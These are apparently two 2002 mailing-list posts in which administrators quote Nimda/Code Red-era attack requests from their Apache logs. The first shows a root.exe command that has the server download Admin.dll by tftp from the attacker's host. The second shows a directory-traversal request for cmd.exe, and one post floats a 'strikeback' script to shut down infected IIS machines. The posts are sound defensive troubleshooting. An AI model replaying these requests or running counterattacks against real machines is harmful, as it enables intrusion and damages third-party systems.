        Ok, this has been driving me nuts. Found these line in my Apache
     logs lately;
    4.41.54.56 - - [23/Feb/2002:08:26:20 -0800] "GET
    /scripts/root.exe?/c+tftp%20-i%204.41.54.56%20GET%20Admin.dll%20Admin.
    dll HTTP/1.0" 200 2701
    4.41.54.56 - - [23/Feb/2002:08:26:22 -0800] "GET /scripts/Admin.dll
    HTTP/1.0" 404 295
    
        Seemingly pointing at a specific IP. Several times now I've seen
    this IP and others, as well as the usual bunk nimda lines. What the
    heck is it, and does it in fact point to a collection point?
        Also, what is the opinion of running IIS shutdown perl scripts?
    The so-called Strikeback Script? On the one hand, it seems it might
    get the attention of the owner of the hacked IIS system, on the
    other...some unsaved info could be lost on the IIS machine, assuming
    the script even works.
        I'm currently searching for a Notification Script, of the type
    mentioned elsewhere in this thread, if anyone has it on an FTP.

    Hey,
    I've had multiple clients' Solaris boxes crashing this morning from
    what appears to be a Nimda-like 'scripts/..%5c../root.exe', and the
    usual.
    The same old unicode characters are present [%2f, %5c] but a new one
    has
    appeared I haven't seen yet.  This line:
    
    '
    /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.e
    xe '
    
    appears a few times and I'm not quite sure what to make of it...
    
    Please keep in mind that came from a Solaris box, Apache log.
    Whatever this (maybe) new bug is, it's blowing up these boxes left
    and
    right...can't figure it out.  They're all relatively new 1.3'ish
    versions I
    think.
    
    Anyone else seeing anything weird?
